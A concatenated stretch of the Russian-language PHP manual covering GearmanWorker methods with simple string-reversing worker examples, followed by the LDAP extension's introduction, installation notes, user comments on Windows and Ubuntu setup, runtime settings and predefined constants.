  • Получение последнего кода возврата Gearman

GearmanWorker::returnCode

(PECL gearman >= 0.5.0)

GearmanWorker::returnCode — Получение последнего кода возврата Gearman

Описание

public GearmanWorker::returnCode(): int

Извлекает последний код возврата Gearman.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Допустимый возвращаемый код Gearman.

Смотрите также

  • GearmanWorker::error() - Получение последней обнаруженной ошибки
  • GearmanWorker::getErrno() - Получение номера ошибки

User Contributed Notes

There are no user contributed notes for this page.


Назначает обработчику идентификатор, чтобы в дальнейшем иметь возможность опросить все доступные обработчики

  • « GearmanWorker::returnCode
  • GearmanWorker::setOptions »
  • PHP Manual
  • GearmanWorker
  • Назначает обработчику идентификатор, чтобы в дальнейшем иметь возможность опросить все доступные обработчики

GearmanWorker::setId

(Информация о версии неизвестна, возможно, только в Git)

GearmanWorker::setId — Назначает обработчику идентификатор, чтобы в дальнейшем иметь возможность опросить все доступные обработчики

Описание

public GearmanWorker::setId(string $id): bool

Назначает обработчику идентификатор.

Список параметров

id

Строковый идентификатор.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования GearmanWorker::setId()

Задание идентификатора для простого обработчика.

<?php
$worker= new GearmanWorker();
$worker->setId('test');
?>

Результатом выполнения данного примера будет что-то подобное:

Run the following command:
gearadmin --workers

Output:
30 ::3a3a:3361:3361:3a33%976303667 - : test

User Contributed Notes

zymspy at 163 dot com 05-Dec-2014 07:14
Example #1 is wrong
The Output is nearly like:
[no] [IP] [ID] : [function_name] [function_name] ...

Such as:
73 127.0.0.1 collect : ping_collect snmp_collect


Установка настроек обработчика

  • « GearmanWorker::setId
  • GearmanWorker::setTimeout »
  • PHP Manual
  • GearmanWorker
  • Установка настроек обработчика

GearmanWorker::setOptions

(PECL gearman >= 0.5.0)

GearmanWorker::setOptions — Установка настроек обработчика

Описание

public GearmanWorker::setOptions(int $option): true

Устанавливает значения одной или нескольких настроек.

Список параметров

option

Настройки, которые необходимо установить.

Возвращаемые значения

Функция всегда возвращает true.

Смотрите также

  • GearmanWorker::options() - Получение настроек обработчика
  • GearmanWorker::addOptions() - Добавление настроек обработчика
  • GearmanWorker::removeOptions() - Удаление настроек обработчика
  • GearmanClient::setOptions() - Установка настроек клиента

User Contributed Notes

There are no user contributed notes for this page.


Задание времени ожидания ввода/вывода на сокете

  • « GearmanWorker::setOptions
  • GearmanWorker::timeout »
  • PHP Manual
  • GearmanWorker
  • Задание времени ожидания ввода/вывода на сокете

GearmanWorker::setTimeout

(PECL gearman >= 0.6.0)

GearmanWorker::setTimeout — Задание времени ожидания ввода/вывода на сокете

Описание

public GearmanWorker::setTimeout(int $timeout): true

Устанавливает время ожидания активности на сокете.

Список параметров

timeout

Временной интервал в миллисекундах. Отрицательное значение указывает на отсутствие ограничений.

Возвращаемые значения

Функция всегда возвращает true.

Примеры

Пример #1 Простой обработчик с пятисекундным временем ожидания

<?php

echo "Запуск\n";

# создаём объект обработчика.
$gmworker= new GearmanWorker();

# добавляем сервер по умолчанию (localhost).
$gmworker->addServer();

# регистрируем функцию "reverse" на сервере
$gmworker->addFunction("reverse", "reverse_fn");

# устанавливаем время ожидания 5 секунд
$gmworker->setTimeout(5000);

echo "Ожидание задания...\n";
while(@$gmworker->work() || $gmworker->returnCode() == GEARMAN_TIMEOUT)
{
if ($gmworker->returnCode() == GEARMAN_TIMEOUT)
{
# Обычно хотелось бы сделать что-то полезное здесь ...
echo "Время вышло. Ожидание следующего задания...\n";
continue;
}

if ($gmworker->returnCode() != GEARMAN_SUCCESS)
{
echo "Код возврата: " . $gmworker->returnCode() . "\n";
break;
}
}

echo "Готово\n";

function reverse_fn($job)
{
return strrev($job->workload());
}

?>

Если запустить этот обработчик и не передавать ему заданий, вывод будет примерно таким:

Запуск
Ожидание задания...
Время вышло. Ожидание следующего задания...
Время вышло. Ожидание следующего задания...
Время вышло. Ожидание следующего задания...

Смотрите также

  • GearmanWorker::timeout() - Получение значения время ожидания запросов на сокете

User Contributed Notes

There are no user contributed notes for this page.


Получение значения время ожидания запросов на сокете

  • « GearmanWorker::setTimeout
  • GearmanWorker::unregister »
  • PHP Manual
  • GearmanWorker
  • Получение значения время ожидания запросов на сокете

GearmanWorker::timeout

(PECL gearman >= 0.6.0)

GearmanWorker::timeout — Получение значения время ожидания запросов на сокете

Описание

public GearmanWorker::timeout(): int

Возвращает текущее значение времени ожидания, то есть время, в течение которого обработчик ожидает запрос от сервера заданий.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Временной интервал в миллисекундах. Отрицательное значение указывает на бесконечное время ожидания.

Смотрите также

  • GearmanWorker::setTimeout() - Задание времени ожидания ввода/вывода на сокете

User Contributed Notes

There are no user contributed notes for this page.


Удалить регистрацию имени функции на всех серверах заданий

  • « GearmanWorker::timeout
  • GearmanWorker::unregisterAll »
  • PHP Manual
  • GearmanWorker
  • Удалить регистрацию имени функции на всех серверах заданий

GearmanWorker::unregister

(PECL gearman >= 0.6.0)

GearmanWorker::unregister — Удалить регистрацию имени функции на всех серверах заданий

Описание

public GearmanWorker::unregister(string $function_name): bool

Снимает регистрацию имени функции на всех серверах заданий. Это значит, что этому обработчику (этой функции) задания посылаться больше не будут.

Список параметров

function_name

Имя функции, регистрацию которой требуется снять.

Возвращаемые значения

Стандартное возвращаемое значение Gearman.

Смотрите также

  • GearmanWorker::register() - Регистрация функции на сервере заданий
  • GearmanWorker::unregisterAll() - Удаление регистрации всех имён функций на серверах заданий

User Contributed Notes

There are no user contributed notes for this page.


Удаление регистрации всех имён функций на серверах заданий

  • « GearmanWorker::unregister
  • GearmanWorker::wait »
  • PHP Manual
  • GearmanWorker
  • Удаление регистрации всех имён функций на серверах заданий

GearmanWorker::unregisterAll

(PECL gearman >= 0.6.0)

GearmanWorker::unregisterAll — Удаление регистрации всех имён функций на серверах заданий

Описание

public GearmanWorker::unregisterAll(): bool

Снимает регистрацию всех ранее зарегистрированных функций на всех серверах заданий. Это значит, что этому обработчику больше не будут поступать никакие задачи.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Стандартное возвращаемое значение Gearman.

Смотрите также

  • GearmanWorker::register() - Регистрация функции на сервере заданий
  • GearmanWorker::unregister() - Удалить регистрацию имени функции на всех серверах заданий

User Contributed Notes

There are no user contributed notes for this page.


Ожидание запроса с одного из сервера задач

  • « GearmanWorker::unregisterAll
  • GearmanWorker::work »
  • PHP Manual
  • GearmanWorker
  • Ожидание запроса с одного из сервера задач

GearmanWorker::wait

(PECL gearman >= 0.6.0)

GearmanWorker::wait — Ожидание запроса с одного из сервера задач

Описание

public GearmanWorker::wait(): bool

При работе в неблокирующем режиме ввода/вывода заставляет обработчика ожидать задания от какого-либо сервера заданий Gearman. В случае отказа будет выдано предупреждение E_WARNING с указанием последней произошедшей ошибки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Запуск обработчика в неблокирующем режиме

<?php

echo "Запуск\n";

# создание объекта обработчика
$worker= new GearmanWorker();

# включение неблокирующего режима
$worker->addOptions(GEARMAN_WORKER_NON_BLOCKING);

# добавление сервера по умолчанию (localhost на порту 4730)
$worker->addServer();

# добавление callback-функции
$worker->addFunction('reverse', 'reverse_fn');

# попробуем получить задание
while (@$worker->work() ||
$worker->returnCode() == GEARMAN_IO_WAIT ||
$worker->returnCode() == GEARMAN_NO_JOBS)
{
if ($worker->returnCode() == GEARMAN_SUCCESS)
continue;

echo "Ожидание следующего задания...\n";
if (!@$worker->wait())
{
if ($worker->returnCode() == GEARMAN_NO_ACTIVE_FDS)
{
# мы не подключены ни к одному из серверов, подождём немного
# и попробуем переподключиться
sleep(5);
continue;
}
break;
}
}

echo "Ошибка в обработчике: " . $worker->error() . "\n";

function reverse_fn($job)
{
return strrev($job->workload());
}

?>

Смотрите также

  • GearmanWorker::work() - Ожидание и выполнение заданий

User Contributed Notes

There are no user contributed notes for this page.


Ожидание и выполнение заданий

  • « GearmanWorker::wait
  • GearmanException »
  • PHP Manual
  • GearmanWorker
  • Ожидание и выполнение заданий

GearmanWorker::work

(PECL gearman >= 0.5.0)

GearmanWorker::work — Ожидание и выполнение заданий

Описание

public GearmanWorker::work(): bool

Ждёт от сервера задание, а затем вызывает соответствующую callback-функцию для его обработки. Вызывает ошибку уровня E_WARNING с информацией о последней ошибке Gearman в случаях, когда код возврата функции отличается от GEARMAN_SUCCESS, GEARMAN_IO_WAIT или GEARMAN_WORK_FAIL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования GearmanWorker::work()

<?php

# создаём обработчик
$worker = new GearmanWorker();

# добавляем сервер заданий по умолчанию (localhost)
$worker->addServer();

# добавляем callback-функцию
$worker->addFunction("reverse", "my_reverse_function");

# запускаем обработчик, ожидающий заданий от сервера
while ($worker->work());

function my_reverse_function($job)
{
return strrev($job->workload());
}

?>

Смотрите также

  • GearmanWorker::addFunction() - Регистрация и добавление callback-функции

User Contributed Notes

There are no user contributed notes for this page.


Класс GearmanException

(PECL gearman >= 0.5.0)

Введение

Обзор классов

/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Облегчённый протокол доступа к каталогам (LDAP)

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Использование вызовов PHP LDAP
  • Управляющие объекты LDAP
  • Примеры
    • Базовое использование
    • LDAP Controls
  • Функции LDAP
    • ldap_8859_to_t61 — Переводит символы из кодировки ISO-8859 в t61
    • ldap_add_ext — Добавить записи в каталог LDAP
    • ldap_add — Добавить запись в LDAP директорию
    • ldap_bind_ext — Привязать к директории LDAP
    • ldap_bind — Привязать к LDAP директории
    • ldap_close — Псевдоним ldap_unbind
    • ldap_compare — Сравнить значение атрибута, найденного в записи определённой DN
    • ldap_connect_wallet — Connect to an LDAP server
    • ldap_connect — Подключиться к серверу LDAP
    • ldap_control_paged_result_response — Получить указатель на текущую страницу результирующего набора LDAP
    • ldap_control_paged_result — Послать серверу LDAP данные для использования постраничного извлечения результата
    • ldap_count_entries — Посчитать число записей в результатах поиска
    • ldap_count_references — Подсчитывает количество ссылок в результатах поиска
    • ldap_delete_ext — Удалить запись из директории
    • ldap_delete — Удаляет запись из директории LDAP
    • ldap_dn2ufn — Преобразовать DN в удобный для пользователя формат именования
    • ldap_err2str — Преобразовать код ошибки LDAP в строковое сообщение об ошибке
    • ldap_errno — Возвратить номер ошибки LDAP последней команды
    • ldap_error — Возвратить сообщение об ошибке LDAP последней команды
    • ldap_escape — Экранирование строки для использования в фильтре LDAP или в DN
    • ldap_exop_passwd — Обёртка для расширенной операции PASSWD
    • ldap_exop_refresh — Обёртка для расширенной операции Refresh
    • ldap_exop_sync — Performs an extended operation
    • ldap_exop_whoami — Обёртка для расширенной операции WHOAMI
    • ldap_exop — Выполняет расширенную операцию
    • ldap_explode_dn — Разделить DN на его составные части
    • ldap_first_attribute — Вернуть первый атрибут
    • ldap_first_entry — Возвратить первый идентификатор результата
    • ldap_first_reference — Возвращает первую справку
    • ldap_free_result — Освободить память результата
    • ldap_get_attributes — Получает атрибуты из записи в результатах поиска
    • ldap_get_dn — Получить DN результирующей записи
    • ldap_get_entries — Получает все записи результата
    • ldap_get_option — Получить текущее значение данной опции
    • ldap_get_values_len — Получить все бинарные значения из записи результата
    • ldap_get_values — Получает все значения из записи результата
    • ldap_list — Одноуровневый поиск
    • ldap_mod_add_ext — Добавить значения атрибута к текущим атрибутам
    • ldap_mod_add — Добавить значения атрибута к текущим атрибутам
    • ldap_mod_del_ext — Удалить значения атрибутов из текущих атрибутов
    • ldap_mod_del — Удалить значения атрибута из текущих атрибутов
    • ldap_mod_replace_ext — Заменить значения атрибута на новые
    • ldap_mod_replace — Заменить значения атрибутов на новые
    • ldap_modify_batch — Формирования и запуск пакетного изменения записи LDAP
    • ldap_modify — Псевдоним ldap_mod_replace
    • ldap_next_attribute — Получить следующий атрибут из результата
    • ldap_next_entry — Получить следующую запись результата
    • ldap_next_reference — Возвращает следующую справку
    • ldap_parse_exop — Разбор результирующего объекта выполнения расширенной операции LDAP
    • ldap_parse_reference — Извлекает информацию из справочника
    • ldap_parse_result — Извлечь информацию из результата
    • ldap_read — Читает запись
    • ldap_rename_ext — Модифицировать название записи
    • ldap_rename — Изменить имя записи
    • ldap_sasl_bind — Привязать к LDAP директории, используя SASL
    • ldap_search — Поиск по LDAP дереву
    • ldap_set_option — Установить значение данной опции
    • ldap_set_rebind_proc — Установить функцию обратного вызова для повторного связывания при ссылочном поиске
    • ldap_sort — Сортирует записи LDAP
    • ldap_start_tls — Запускает TLS
    • ldap_t61_to_8859 — Переводит символы из кодировки t61 в ISO-8859
    • ldap_unbind — Разорвать привязку к директории LDAP
  • LDAP\Connection — Класс LDAP\Connection
  • LDAP\Result — Класс LDAP\Result
  • LDAP\ResultEntry — Класс LDAP\ResultEntry

User Contributed Notes

There are no user contributed notes for this page.


Введение

LDAP - это облегчённый протокол доступа к каталогам, используемый для получения доступа к серверам каталогов. Каталог - специальный вид базы данных, которая содержит информацию в древовидной структуре.

Концепция похожа на структуру каталогов на жёстком диске, за исключением того, что в этом контексте корневой каталог - это "Мир", и первый уровень подкаталогов - "Страны". Более низшие уровни структуры каталогов содержат записи для компаний, организаций или мест, в то время как ещё ниже мы находим записи каталога для людей, и возможно, оборудования или документов.

Для обращения к файлу в подкаталоге на вашем жёстком диске, вы могли бы использовать что-нибудь наподобие этого:

   /usr/local/myapp/docs

Слеш отмечает каждое подразделение в ссылке, и последовательность читается слева направо.

Эквивалентом полностью определённой ссылки на файл в LDAP является так называемое отличительное имя, упомянутое просто как "dn". К примеру, dn может быть таким:

   cn=John Smith,ou=Accounts,o=My Company,c=US

Запятая отмечает каждое подразделение в ссылке, и последовательность читается справа налево. Вы читали бы этот dn как:

   Страна (country) = US
   Организация (organization) = My Company
   Подразделение (organizationalUnit) = Accounts
   Имя (commonName) = John Smith

Таким образом, также как нет жёстких правил для организации структуры каталогов жёсткого диска, так и менеджер сервера каталогов может настроить любую структуру, которая является значимой для поставленных цели. Однако есть некоторые соглашения, которые используются.

Много информации о LDAP можно найти на

  • » Mozilla

  • » OpenLDAP Project

  • Internet Engineering Taskforce RFCs с » 4510 по » 4519.

Netscape SDK содержит полезное » Руководство программиста в HTML формате.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Необходимо получить и скомпилировать клиентские библиотеки LDAP из » OpenLDAP или » Bind9.net для того, чтобы скомпилировать РНР с поддержкой LDAP. Начиная с PHP 5.6 вы должны использовать OpenLDAP 2.4 или более свежий.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Поддержка LDAP в PHP не доступна по умолчанию. Для активации нужно использовать опцию --with-ldap[=DIR] при компиляции PHP, где DIR - это каталог установки базы LDAP. Для включения поддержки SASL, убедитесь что использована опция --with-ldap-sasl[=DIR], и что sasl.h существует в системе.

Замечание: Примечание для пользователей Win32

Для работы этого модуля системной переменной Windows PATHдолжны быть доступны DLL-файлы. Чтобы узнать как этого достичь, обратитесь к разделу FAQ "Как добавить мою директорию с PHP в переменную Windows PATH". Хотя копирование DLL-файлов из директории PHP в системную папку Windows также решает проблему (потому что системная директория по умолчанию находится в переменной PATH), это не рекомендуется. Этому модулю требуются следующие файлы в переменной PATH: libeay32.dll и ssleay32.dll, либо, начиная с OpenSSL 1.1, libcrypto-*.dll и libssl-*.dll.

Для того чтобы использовать библиотеки Oracle LDAP, должны быть установлены надлежащие параметры окружающей среды Oracle.

User Contributed Notes

p38fln at msn dot com 21-Jun-2019 05:40
On newer versions of Windows and Windows Server, if you've installed PHP from the Microsoft Web Platform Installer (PI) then all you have to do is add extension=php_ldap.dll to the extensions section and restart IIS.
chealer at gmail dot com 30-Jun-2015 09:44
Users of the "WAMP Server" software need to enter PHP's path... as the documentation says. Although apache\apache[...]\bin\ also contains the files mentioned, this does not suffice for some reason.
For me, the path is C:\wamp\bin\php\php5.5.12
Anonymous 15-Jun-2015 08:19
OCI client from Oracle distributes un ldap.h which may collision with the SO ldap.h.
You can, remove the Oracle ldap.h and build or configure php without oci8 and then add OCI8 later as a shared extension.
This latter step is easiest using PECL: pecl install oci8. You will then need to add 'extension=oci8.so' to your php.ini.
Cojak 23-Jan-2015 05:54
Runing in IIS 8.5 on Server 2012 R2 I tried to install PHP Manager same as nesbittp needed to install Dot Net 3.5 and HTTP Activation first then installed without issue.
silver dot alecs at yahoo dot com 27-Mar-2014 01:00
The easiest way to install ldap extension on Ubuntu 12.04 is:

sudo apt-get install php5-ldap

Also don't forget to laod the extension.
nesbittp 07-Mar-2014 12:29
To enable PHP LDAP for IIS, I installed PHP Manager which integrates with IIS. Open this up and you can enable/disable extensions. Enable php_ldap.dll and it works straight away.
tomasz() trejderowski!pl 26-Feb-2014 01:32
I can confirm Frank's note (made 1 year ago, see below) about requirement of "libsasl.dll" library. I have "PHP Version 5.4.7" and my Apache fails to restart with error saying, that "libsasl.dll" is missing, once I enable php_ldap.dll extension in PHP configuration.

What is even more strange, I DO HAVE this library (along with required "ssleay32.dll" and "libeay32.dll" in my PHP's directory and my PHP's directory IS listed in Windows' PATH variable and even so, I'm facing the problem of Apache failing to start.

The only workaround, I found is to copy "libsasl.dll" to "system32" system directory. Solution, that PHP documentation here discourages.

So, to summarize, section "Note to Win32 users" is twice wrong. You DO have to have "libsasl.dll" directory and you have to place it in your system folder.
Frank 18-Dec-2012 07:12
I found not only "Versions before PHP 4.3.0 additionally require libsasl.dll.".

If you use php-5.3.3-Win32-VC9-x86 or later Versions that
It's require libsasl.dll.

Running under Windows & Apache 2.2.8
PHP file is download from http://windows.php.net/downloads/releases/archives/

When I use php-5.2.x-Win32-VC6-x86 and php-5.3.x-Win32-VC6-x86

1.just uncomment extension=php_ldap.dll  in php.ini
2.Restart apache,it's ok

When I use php-5.3.x-Win32-VC9-x86 and php-5.4.x-Win32-VC9-x86

1.just uncomment extension=php_ldap.dll  in php.ini
2.Restart apache,always fail...
(only php-5.3.1-Win32-VC9-x86 & php-5.3.2-Win32-VC9-x86 is ok. )

[php-5.3.3-Win32-VC9-x86 or later Versions]
1.just uncomment extension=php_ldap.dll  in php.ini
2.copy  libsasl.dll to [apache folder]\bin
3.Restart apache,it's ok
msuzer 31-Jan-2012 07:51
If using a debian machine (debian or ubuntu variants) just do apt-get install php5-ldap, that's all to get ldap work on php. No need to get sources, try to compiling them and  so on.
kirk dot kerr at arcusfm dot com 10-Jan-2011 04:54
It seems that the php 5.3 windows installer does not install the ldap.dll to the hard drive as standard - during the install process i had to specifically request that it was installed.
tom at wheelercreek dot com 27-Apr-2009 10:23
Sorry - I was referring to "php_ldap.dll", not php_lamp.dll
tom at wheelercreek dot com 24-Apr-2009 03:57
If you're running on Windows XP with Apache, and you installed PHP 5 from the windows installer rather than the full zipped version - you may not have the php_ldap.dll file.

I had to follow the steps above, making sure PHP was added to my Windows Path, adding the 2 dll files to the system32 directory, also making sure the php.ini extensions directory was set correctly (in my case: C:\Program Files\PHP\ext).

Still was a getting a message about not being able to locate the "php_lamp.dll" file.  I finally went back, downloaded the full .zip file of latest PHP version, and that missing dll file is included there - along with many others.

Remember to restart Apache server after you do all this.
Steve 06-Aug-2008 11:03
Running under IIS, I found php_ldap would not load even though d:\php contained libeay32.dll and ssleay32.dll, and d:\php was in the PATH environment variable.

I finally tracked this down to the position of d:\php in the PATH.  If d:\php is near the head of the PATH, everything works fine.  If d:\php is near the end of the PATH, apparently it gets ignored by IIS (even though it works fine from the command line, e.g., with php -m).  Have no idea why this is.
Anonymous 26-May-2008 04:15
Running under IIS, I did not find the need to download and compile libraries.

1. Edit PHP.INI (which should be in windows directory)
2. Uncomment the line extension=php_ldap.dll
3. Restart IIS


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции конфигурации LDAP
Имя | По умолчанию | Место изменения | Список изменений
ldap.max_links | "-1" | PHP_INI_SYSTEM |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

ldap.max_links int

Максимальное количество LDAP соединений на процесс.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

До PHP 8.1.0, большинство LDAP функций работает с возвращаемыми ресурсами (например, ldap_connect() возвращает положительный идентификатор ссылки LDAP, требуемый большинством функций LDAP).

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

LDAP_DEREF_NEVER (int)
Правило разыменования псевдонимов - Never.
LDAP_DEREF_SEARCHING (int)
Правило разыменования псевдонимов - Searching.
LDAP_DEREF_FINDING (int)
Правило разыменования псевдонимов - Finding.
LDAP_DEREF_ALWAYS (int)
Правило разыменования псевдонимов - Always.
LDAP_OPT_DEREF (int)
Определяет альтернативные правила для следующих псевдонимов на сервере.
LDAP_OPT_SIZELIMIT (int)

Определяет максимальное количество записей, которые могут быть возвращены при операции поиска.

Замечание: Предел фактического размера для операций также ограничен максимальным количеством возвращаемых записей, которое задаётся конфигурацией сервера. Меньшее из этих двух параметров является фактическим ограничением размера.

LDAP_OPT_TIMELIMIT (int)
Определяет количество секунд для ожидания результатов поиска.

Замечание: Предел фактического времени выполнения для операций также ограничен максимальным временем, которое задаётся конфигурацией сервера. Меньшее из этих двух параметров является фактическим ограничением времени выполнения.

LDAP_OPT_NETWORK_TIMEOUT (int)
Опция для ldap_set_option разрешает настройку сетевого времени ожидания. (Доступна с PHP 5.3.0)
LDAP_OPT_PROTOCOL_VERSION (int)
Определяет используемый протокол LDAP (V2 или V3).
LDAP_OPT_ERROR_NUMBER (int)
Последний код ошибки сессии.
LDAP_OPT_REFERRALS (int)
Определяет, следовать ли автоматически рефералам, возвращённым сервером LDAP.
LDAP_OPT_RESTART (int)
Определяет, следует ли неявно перезапустить соединение.
LDAP_OPT_HOST_NAME (int)
Устанавливает/получает разделённые пробелами хосты при попытке подключения.
LDAP_OPT_ERROR_STRING (int)
Псевдоним для LDAP_OPT_DIAGNOSTIC_MESSAGE.
LDAP_OPT_DIAGNOSTIC_MESSAGE (int)
Последнее сообщение об ошибке в сессии.
LDAP_OPT_MATCHED_DN (int)
Устанавливает/получает проверяемые DN связанные с соединением.
LDAP_OPT_SERVER_CONTROLS (int)
Определяет список серверных элементов управления по умолчанию, который должен быть отправлен с каждым запросом.
LDAP_OPT_CLIENT_CONTROLS (int)
Определяет список клиентских элементов управления по умолчанию, которые должны обрабатываться с каждым запросом.
LDAP_OPT_DEBUG_LEVEL (int)
Определяет поразрядный уровень для отладочных трассировок.
LDAP_OPT_X_KEEPALIVE_IDLE (int)
Определяет число секунд, в течение которого соединение должно быть неактивным, прежде чем начнут посылаться пакеты keepalive.
LDAP_OPT_X_KEEPALIVE_PROBES (int)
Определяет максимальное количество пакетов keepalive, которое должно быть послано, прежде чем соединение будет разорвано.
LDAP_OPT_X_KEEPALIVE_INTERVAL (int)
Определяет интервал в секундах между посылками keepalive.
LDAP_OPT_X_TLS_CACERTDIR (int)
Определяет путь к директории, в которой лежат сертификаты CA.
LDAP_OPT_X_TLS_CACERTFILE (int)
Определяет полный путь к файлу сертификата CA.
LDAP_OPT_X_TLS_CERTFILE (int)
Определяет полный путь к файлу сертификата.
LDAP_OPT_X_TLS_CIPHER_SUITE (int)
Задаёт допустимый набор шифров.
LDAP_OPT_X_TLS_CRLCHECK (int)
Определяет стратегию оценки CRL. Одна из констант: LDAP_OPT_X_TLS_CRL_NONE,LDAP_OPT_X_TLS_CRL_PEER, LDAP_OPT_X_TLS_CRL_ALL.

Замечание: Эта опция корректна только для OpenSSL.

LDAP_OPT_X_TLS_CRLFILE (int)
Определяет полный путь к файлу CRL.

Замечание: Эта опция корректна только для GnuTLS.

LDAP_OPT_X_TLS_DHFILE (int)
Определяет полный путь к файлу, содержащему параметры Протокола Диффи-Хеллмана.

Замечание: Эта опция игнорируется GnuTLS и Mozilla NSS.

LDAP_OPT_X_TLS_KEYFILE (int)
Определяет полный путь к файлу ключа сертификата.
LDAP_OPT_X_TLS_PROTOCOL_MIN (int)
Определяет минимальную версию протокола. Одна из констант: LDAP_OPT_X_TLS_PROTOCOL_SSL2, LDAP_OPT_X_TLS_PROTOCOL_SSL3, LDAP_OPT_X_TLS_PROTOCOL_TLS1_0, LDAP_OPT_X_TLS_PROTOCOL_TLS1_1, LDAP_OPT_X_TLS_PROTOCOL_TLS1_2
LDAP_OPT_X_TLS_RANDOM_FILE (int)
Устанавливает/получает случайный файл когда один из системных файлов по умолчанию не доступен.
LDAP_OPT_X_TLS_REQUIRE_CERT (int)
Определяет стратегию проверки сертификата. Одна из констант: LDAP_OPT_X_TLS_NEVER, LDAP_OPT_X_TLS_HARD, LDAP_OPT_X_TLS_DEMAND, LDAP_OPT_X_TLS_ALLOW, LDAP_OPT_X_TLS_TRY. (Доступно с PHP 7.0.0)
GSLC_SSL_NO_AUTH (int)
Режим аутентификации SSL - аутентификация не требуется (Только для Oracle LDAP)
GSLC_SSL_ONEWAY_AUTH (int)
Режим аутентификации SSL - требуется только серверная аутентификация (Только для Oracle LDAP)
GSLC_SSL_TWOWAY_AUTH (int)
Режим аутентификации SSL - требуется как серверная, так и клиентская аутентификация (Только для Oracle LDAP)
LDAP_EXOP_START_TLS (int)
Константа расширенной операции - Start TLS (» RFC 4511).
LDAP_EXOP_MODIFY_PASSWD (string)
Константа расширенной операции - Modify password (» RFC 3062).
LDAP_EXOP_REFRESH (string)
Константа расширенной операции - Refresh (» RFC 2589).
LDAP_EXOP_WHO_AM_I (string)
Константа расширенной операции - WHOAMI (» RFC 4532).
LDAP_EXOP_TURN (string)
Константа расширенной операции - Turn (» RFC 4531).
LDAP_CONTROL_MANAGEDSAIT (string)
Управляющая константа - управление DSA IT (» RFC 3296). Доступно с PHP 7.3.0.
LDAP_CONTROL_PROXY_AUTHZ (string)
Управляющая константа - прокси-авторизация (» RFC 4370). Доступно с PHP 7.3.0.
LDAP_CONTROL_SUBENTRIES (string)
Управляющая константа - подразделы (» RFC 3672). Доступно с PHP 7.3.0.
LDAP_CONTROL_VALUESRETURNFILTER (string)
Управляющая константа - фильтрация возвращаемых значений (» RFC 3876). Доступно с PHP 7.3.0.
LDAP_CONTROL_ASSERT (string)
Управляющая константа - контроль утверждений (» RFC 4528). Доступно с PHP 7.3.0.
LDAP_CONTROL_PRE_READ (string)
Управляющая константа - возврат изначального значения (» RFC 4527). Доступно с PHP 7.3.0.
LDAP_CONTROL_POST_READ (string)
Управляющая константа - возврат итогового значения (» RFC 4527). Доступно с PHP 7.3.0.
LDAP_CONTROL_SORTREQUEST (string)
Управляющая константа - запрос сортировки (» RFC 2891). Доступно с PHP 7.3.0.
LDAP_CONTROL_SORTRESPONSE (string)
Управляющая константа - ответ на запрос сортировки (RFC 2891).
LDAP_CONTROL_PAGEDRESULTS (string)
Управляющая константа - пагинация результата (» RFC 2696). Доступно с PHP 7.3.0.
LDAP_CONTROL_AUTHZID_REQUEST (string)
Управляющая константа - запрос идентификации авторизации (» RFC 3829). Доступно с PHP 7.3.0.
LDAP_CONTROL_AUTHZID_RESPONSE (string)
Управляющая константа - ответ на запрос идентификации авторизации (» RFC 3829). Доступно с PHP 7.3.0.
LDAP_CONTROL_SYNC (string)
Управляющая константа - операция синхронизации контента (» RFC 4533). Доступно с PHP 7.3.0.
LDAP_CONTROL_SYNC_STATE (string)
Управляющая константа - состояние операции синхронизации контента (» RFC 4533). Доступно с PHP 7.3.0.
LDAP_CONTROL_SYNC_DONE (string)
Управляющая константа - операция синхронизации контента завершена (» RFC 4533). Доступно с PHP 7.3.0.
LDAP_CONTROL_DONTUSECOPY (string)
Управляющая константа - не использовать копию (» RFC 6171). Доступно с PHP 7.3.0.
LDAP_CONTROL_PASSWORDPOLICYREQUEST (string)
Управляющая константа - запрос парольной политики Доступно с PHP 7.3.0.
LDAP_CONTROL_PASSWORDPOLICYRESPONSE (string)
Управляющая константа - ответ на запрос парольной политики Доступно с PHP 7.3.0.
LDAP_CONTROL_X_INCREMENTAL_VALUES (string)
Управляющая константа - инкрементные значения Active Directory Доступно с PHP 7.3.0.
LDAP_CONTROL_X_DOMAIN_SCOPE (string)
Управляющая константа - доменная область Active Directory Доступно с PHP 7.3.0.
LDAP_CONTROL_X_PERMISSIVE_MODIFY (string)
Управляющая константа - изменение разрешений Active Directory Доступно с PHP 7.3.0.
LDAP_CONTROL_X_SEARCH_OPTIONS (string)
Управляющая константа - опции поиска Active Directory Доступно с PHP 7.3.0.
LDAP_CONTROL_X_TREE_DELETE (string)
Управляющая константа - удаление дерева в Active Directory Доступно с PHP 7.3.0.
LDAP_CONTROL_X_EXTENDED_DN (string)
Управляющая константа - расширенный DN Active Directory Доступно с PHP 7.3.0.
LDAP_CONTROL_VLVREQUEST (string)
Управляющая константа - запрос просмотра виртуального списка Доступно с PHP 7.3.0.
LDAP_CONTROL_VLVRESPONSE (string)
Управляющая константа - ответ на запрос просмотра виртуального списка Доступно с PHP 7.3.0.

User Contributed Notes

There are no user contributed notes for this page.


Использование вызовов PHP LDAP

